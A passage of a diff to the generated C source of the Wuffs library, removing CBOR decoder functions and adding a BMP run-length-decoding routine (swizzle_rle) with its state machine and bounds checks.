wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); --} -- --// -------- func cbor.decoder.history_retain_length -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_cbor__decoder__history_retain_length( -- const wuffs_cbor__decoder* self) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -- } -- -- return 0u; --} -- --// -------- func cbor.decoder.workbuf_len -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_cbor__decoder__workbuf_len( -- const wuffs_cbor__decoder* self) { -- if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -- } -- -- return wuffs_base__utility__empty_range_ii_u64(); --} -- --// -------- func cbor.decoder.decode_tokens -+// -------- func bmp.decoder.swizzle_rle - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_cbor__decoder__decode_tokens( -- wuffs_cbor__decoder* self, -- wuffs_base__token_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__slice_u8 a_workbuf) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -+static wuffs_base__status -+wuffs_bmp__decoder__swizzle_rle( -+ wuffs_bmp__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint64_t v_string_length = 0; -- uint64_t v_n64 = 0; -- uint32_t v_depth = 0; -- uint32_t v_stack_byte = 0; -- uint32_t v_stack_bit = 0; -- uint32_t v_stack_val = 0; -- uint32_t v_token_length = 0; -- uint32_t v_vminor = 0; -- uint32_t v_vminor_alt = 0; -- uint32_t v_continued = 0; -- uint8_t v_c = 0; -- uint8_t v_c_major = 0; -- uint8_t v_c_minor = 0; -- bool v_tagged = false; -- uint8_t v_indefinite_string_major_type = 0; -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint32_t v_dst_bytes_per_pixel = 0; -+ uint64_t v_dst_bytes_per_row = 0; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_row = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_i = 0; -+ uint64_t v_n = 0; -+ uint32_t v_p0 = 0; -+ uint8_t v_code = 0; -+ uint8_t v_indexes[2] = {0}; -+ uint32_t v_rle_state = 0; -+ uint32_t v_chunk_bits = 0; -+ uint32_t v_chunk_count = 0; - -- wuffs_base__token* iop_a_dst = NULL; -- wuffs_base__token* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- wuffs_base__token* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_dst && a_dst->data.ptr) { -- io0_a_dst = a_dst->data.ptr; -- io1_a_dst = io0_a_dst + a_dst->meta.wi; -- iop_a_dst = io1_a_dst; -- io2_a_dst = io0_a_dst + a_dst->data.len; -- if (a_dst->meta.closed) { -- io2_a_dst = iop_a_dst; -- } -- } - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -32288,1231 +33059,590 @@ wuffs_cbor__decoder__decode_tokens( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_tokens[0]; -- if (coro_susp_point) { -- v_string_length = self->private_data.s_decode_tokens[0].v_string_length; -- v_depth = self->private_data.s_decode_tokens[0].v_depth; -- v_tagged = self->private_data.s_decode_tokens[0].v_tagged; -- v_indefinite_string_major_type = self->private_data.s_decode_tokens[0].v_indefinite_string_major_type; -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ goto exit; - } -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- if (self->private_impl.f_end_of_data) { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -+ v_dst_bytes_per_pixel = (v_dst_bits_per_pixel / 8u); -+ v_dst_bytes_per_row = ((uint64_t)((self->private_impl.f_width * v_dst_bytes_per_pixel))); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8_ij(self->private_data.f_scratch, 1024, 2048)); -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ v_rle_state = self->private_impl.f_rle_state; -+ label__outer__continue:; -+ while (true) { -+ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { -+ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); - } -- label__outer__continue:; -+ label__middle__continue:; - while (true) { -+ v_i = (((uint64_t)(self->private_impl.f_dst_x)) * ((uint64_t)(v_dst_bytes_per_pixel))); -+ if (v_i <= ((uint64_t)(v_row.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_row, v_i); -+ } else { -+ v_dst = wuffs_base__utility__empty_slice_u8(); -+ } - while (true) { -- do { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 1u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- goto label__outer__continue; -+ if (v_rle_state == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -+ break; - } -- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -+ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ if (v_code == 0u) { -+ v_rle_state = 2u; -+ continue; -+ } -+ self->private_impl.f_rle_length = ((uint32_t)(v_code)); -+ v_rle_state = 1u; -+ continue; -+ } else if (v_rle_state == 1u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -+ break; -+ } -+ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ if (self->private_impl.f_bits_per_pixel == 8u) { -+ v_p0 = 0u; -+ while (v_p0 < self->private_impl.f_rle_length) { -+ self->private_data.f_scratch[v_p0] = v_code; -+ v_p0 += 1u; -+ } -+ } else { -+ v_indexes[0u] = ((uint8_t)(((uint8_t)(v_code >> 4u)))); -+ v_indexes[1u] = ((uint8_t)(v_code & 15u)); -+ v_p0 = 0u; -+ while (v_p0 < self->private_impl.f_rle_length) { -+ self->private_data.f_scratch[(v_p0 + 0u)] = v_indexes[0u]; -+ self->private_data.f_scratch[(v_p0 + 1u)] = v_indexes[1u]; -+ v_p0 += 2u; -+ } -+ } -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_rle_length)); -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, self->private_impl.f_rle_length); -+ v_rle_state = 0u; -+ goto label__middle__continue; -+ } else if (v_rle_state == 2u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -+ break; -+ } -+ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ if (v_code < 2u) { -+ if ((self->private_impl.f_dst_y >= self->private_impl.f_height) && (v_code == 0u)) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); - goto exit; - } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); -+ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, 18446744073709551615u); -+ self->private_impl.f_dst_x = 0u; -+ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -+ if (v_code > 0u) { -+ goto label__outer__break; -+ } -+ v_rle_state = 0u; - goto label__outer__continue; -+ } else if (v_code == 2u) { -+ v_rle_state = 4u; -+ continue; - } -- v_c = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if ((v_indefinite_string_major_type != 0u) && (v_indefinite_string_major_type != (v_c >> 5u))) { -- if (v_c != 255u) { -- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -- goto exit; -+ self->private_impl.f_rle_length = ((uint32_t)(v_code)); -+ self->private_impl.f_rle_padded = ((self->private_impl.f_bits_per_pixel == 8u) && (((uint8_t)(v_code & 1u)) != 0u)); -+ v_rle_state = 3u; -+ continue; -+ } else if (v_rle_state == 3u) { -+ if (self->private_impl.f_bits_per_pixel == 8u) { -+ v_n = wuffs_base__pixel_swizzler__limited_swizzle_u32_interleaved_from_reader( -+ &self->private_impl.f_swizzler, -+ self->private_impl.f_rle_length, -+ v_dst, -+ v_dst_palette, -+ &iop_a_src, -+ io2_a_src); -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(v_n))); -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_rle_length, ((uint32_t)(v_n))); -+ } else { -+ v_chunk_count = ((self->private_impl.f_rle_length + 3u) / 4u); -+ v_p0 = 0u; -+ while ((v_chunk_count > 0u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 2u)) { -+ v_chunk_bits = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2u; -+ self->private_data.f_scratch[(v_p0 + 0u)] = ((uint8_t)((15u & (v_chunk_bits >> 12u)))); -+ self->private_data.f_scratch[(v_p0 + 1u)] = ((uint8_t)((15u & (v_chunk_bits >> 8u)))); -+ self->private_data.f_scratch[(v_p0 + 2u)] = ((uint8_t)((15u & (v_chunk_bits >> 4u)))); -+ self->private_data.f_scratch[(v_p0 + 3u)] = ((uint8_t)((15u & (v_chunk_bits >> 0u)))); -+ v_p0 = ((v_p0 & 255u) + 4u); -+ v_chunk_count -= 1u; - } -- v_vminor = 4194560u; -- if (v_indefinite_string_major_type == 3u) { -- v_vminor |= 19u; -+ v_p0 = wuffs_base__u32__min(v_p0, self->private_impl.f_rle_length); -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, v_p0)); -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, v_p0); -+ wuffs_private_impl__u32__sat_sub_indirect(&self->private_impl.f_rle_length, v_p0); -+ } -+ if (self->private_impl.f_rle_length > 0u) { -+ break; -+ } -+ if (self->private_impl.f_rle_padded) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -+ break; - } -- v_indefinite_string_major_type = 0u; - iop_a_src += 1u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -+ self->private_impl.f_rle_padded = false; -+ } -+ v_rle_state = 0u; -+ goto label__middle__continue; -+ } else if (v_rle_state == 4u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -+ break; - } -+ self->private_impl.f_rle_delta_x = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); - iop_a_src += 1u; -- v_c_major = ((uint8_t)((v_c >> 5u))); -- v_c_minor = (v_c & 31u); -- if (v_c_minor < 24u) { -- v_string_length = ((uint64_t)(v_c_minor)); -- } else { -- while (true) { -- if (v_c_minor == 24u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= 1u) { -- v_string_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); -- iop_a_src += 1u; -- break; -- } -- } else if (v_c_minor == 25u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= 2u) { -- v_string_length = ((uint64_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -- iop_a_src += 2u; -- break; -- } -- } else if (v_c_minor == 26u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= 4u) { -- v_string_length = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4u; -- break; -- } -- } else if (v_c_minor == 27u) { -- if (((uint64_t)(io2_a_src - iop_a_src)) >= 8u) { -- v_string_length = wuffs_base__peek_u64be__no_bounds_check(iop_a_src); -- iop_a_src += 8u; -- break; -- } -- } else { -- v_string_length = 0u; -- break; -- } -- if (iop_a_src > io1_a_src) { -- iop_a_src--; -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -- goto label__outer__continue; -- } -- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); -- goto exit; -- } -+ v_rle_state = 5u; -+ continue; -+ } -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 1u) { -+ break; -+ } -+ v_code = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ if (self->private_impl.f_rle_delta_x > 0u) { -+ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_dst, v_dst_palette, ((uint64_t)(self->private_impl.f_rle_delta_x))); -+ wuffs_private_impl__u32__sat_add_indirect(&self->private_impl.f_dst_x, ((uint32_t)(self->private_impl.f_rle_delta_x))); -+ self->private_impl.f_rle_delta_x = 0u; -+ if (self->private_impl.f_dst_x > self->private_impl.f_width) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); -+ goto exit; - } -- if (v_c_major == 0u) { -- if (v_c_minor < 26u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((14680064u | ((uint32_t)((v_string_length & 65535u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } else if (v_c_minor < 28u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((14680064u | ((uint32_t)((v_string_length >> 46u)))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- *iop_a_dst++ = wuffs_base__make_token( -- (~(v_string_length & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } -- } else if (v_c_major == 1u) { -- if (v_c_minor < 26u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length & 65535u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } else if (v_c_minor < 28u) { -- if (v_string_length < 9223372036854775808u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)((12582912u | (2097151u - ((uint32_t)((v_string_length >> 46u))))))) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- *iop_a_dst++ = wuffs_base__make_token( -- (~((18446744073709551615u - v_string_length) & 70368744177663u) << WUFFS_BASE__TOKEN__VALUE_EXTENSION__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } else { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -- (((uint64_t)(16777216u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(9u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } -- goto label__goto_parsed_a_leaf_value__break; -- } -- } else if (v_c_major == 2u) { -- if (v_c_minor < 28u) { -- if (v_string_length == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } else if (v_c_minor == 31u) { -- if (v_indefinite_string_major_type != 0u) { -- break; -- } -- v_indefinite_string_major_type = 2u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194560u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__outer__continue; -- } else { -- break; -- } -- while (true) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- continue; -- } -- v_n64 = wuffs_base__u64__min(v_string_length, ((uint64_t)(io2_a_src - iop_a_src))); -- v_token_length = ((uint32_t)((v_n64 & 65535u))); -- if (v_n64 > 65535u) { -- v_token_length = 65535u; -- } else if (v_token_length <= 0u) { -- if (a_src && a_src->meta.closed) { -- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -- continue; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { -- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); -- goto exit; -- } -- v_string_length -= ((uint64_t)(v_token_length)); -- v_continued = 0u; -- if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { -- v_continued = 1u; -- } -- iop_a_src += v_token_length; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194816u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (v_string_length > 0u) { -- continue; -- } else if (v_indefinite_string_major_type > 0u) { -- goto label__outer__continue; -- } -- goto label__goto_parsed_a_leaf_value__break; -- } -- } else if (v_c_major == 3u) { -- if (v_c_minor < 28u) { -- if (v_string_length == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- } else if (v_c_minor == 31u) { -- if (v_indefinite_string_major_type != 0u) { -- break; -- } -- v_indefinite_string_major_type = 3u; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194579u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__outer__continue; -- } else { -- break; -- } -- while (true) { -- if (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_write); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -- continue; -- } -- v_n64 = wuffs_base__u64__min(v_string_length, 65535u); -- v_n64 = ((uint64_t)(wuffs_base__utf_8__longest_valid_prefix(iop_a_src, -- ((size_t)(wuffs_base__u64__min(((uint64_t)(io2_a_src - iop_a_src)), v_n64)))))); -- v_token_length = ((uint32_t)((v_n64 & 65535u))); -- if (v_token_length <= 0u) { -- if ((a_src && a_src->meta.closed) || (((uint64_t)(io2_a_src - iop_a_src)) >= 4u)) { -- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); -- goto exit; -- } -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -- continue; -- } -- if (((uint64_t)(io2_a_src - iop_a_src)) < ((uint64_t)(v_token_length))) { -- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_token_length); -- goto exit; -- } -- v_string_length -= ((uint64_t)(v_token_length)); -- v_continued = 0u; -- if ((v_string_length > 0u) || (v_indefinite_string_major_type > 0u)) { -- v_continued = 1u; -- } -- iop_a_src += v_token_length; -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(4194819u)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(v_continued)) << WUFFS_BASE__TOKEN__CONTINUED__SHIFT) | -- (((uint64_t)(v_token_length)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (v_string_length > 0u) { -- continue; -- } else if (v_indefinite_string_major_type > 0u) { -- goto label__outer__continue; -- } -- goto label__goto_parsed_a_leaf_value__break; -- } -- } else if (v_c_major == 4u) { -- if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { -- break; -- } else if (v_depth >= 1024u) { -- v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); -- while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { -- iop_a_src--; -- v_token_length -= 1u; -- } -- status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); -- goto exit; -- } -- v_vminor = 2105361u; -- v_vminor_alt = 2101282u; -- if (v_depth > 0u) { -- v_stack_byte = ((v_depth - 1u) / 16u); -- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- v_vminor = 2105377u; -- v_vminor_alt = 2105378u; -- } else { -- v_vminor = 2105409u; -- v_vminor_alt = 2113570u; -- } -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (v_c_minor == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -- } -- v_stack_byte = (v_depth / 16u); -- v_stack_bit = ((v_depth & 15u) * 2u); -- self->private_data.f_stack[v_stack_byte] &= (4294967295u ^ (((uint32_t)(3u)) << v_stack_bit)); -- self->private_data.f_container_num_remaining[v_depth] = v_string_length; -- v_depth += 1u; -- v_tagged = false; -- goto label__outer__continue; -- } else if (v_c_major == 5u) { -- if (WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor] == 0u) { -- break; -- } else if (v_depth >= 1024u) { -- v_token_length = ((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])); -- while ((v_token_length > 0u) && (iop_a_src > io1_a_src)) { -- iop_a_src--; -- v_token_length -= 1u; -- } -- status = wuffs_base__make_status(wuffs_cbor__error__unsupported_recursion_depth); -+ } -+ if (v_code > 0u) { -+#if defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wconversion" -+#endif -+ v_code -= 1u; -+#if defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ while (true) { -+ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; -+ if (self->private_impl.f_dst_y >= self->private_impl.f_height) { -+ status = wuffs_base__make_status(wuffs_bmp__error__bad_rle_compression); - goto exit; - } -- v_vminor = 2113553u; -- v_vminor_alt = 2101314u; -- if (v_depth > 0u) { -- v_stack_byte = ((v_depth - 1u) / 16u); -- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); -- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { -- v_vminor = 2113569u; -- v_vminor_alt = 2105410u; -- } else { -- v_vminor = 2113601u; -- v_vminor_alt = 2113602u; -- } -- } -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(((uint32_t)(WUFFS_CBOR__TOKEN_LENGTHS[v_c_minor])))) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- if (v_c_minor == 0u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | -- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); -- goto label__goto_parsed_a_leaf_value__break; -+ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); -+ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { -+ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); - } -- v_stack_byte = (v_depth / 16u); -- v_stack_bit = ((v_depth & 15u) * 2u); -- self->private_data.f_stack[v_stack_byte] |= (((uint32_t)(3u)) << v_stack_bit); -- self->private_data.f_container_num_remaining[v_depth] = v_string_length; -- v_depth += 1u; -- v_tagged = false; -- goto label__outer__continue; -- } else if (v_c_major == 6u) { -- if (v_c_minor >= 28u) { -+ if (v_code <= 0u) { -+ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, ((uint64_t)(self->private_impl.f_dst_x))); - break; - } -- if (v_string_length < 262144u) { -- *iop_a_dst++ = wuffs_base__make_token( -- (((uint64_t)(787997u)) << WUFFS_BASE__TOKEN__VALUE_MAJOR__SHIFT) | -- (((uint64_t)((4194304u | ((uint32_t)(v_string_length))))) 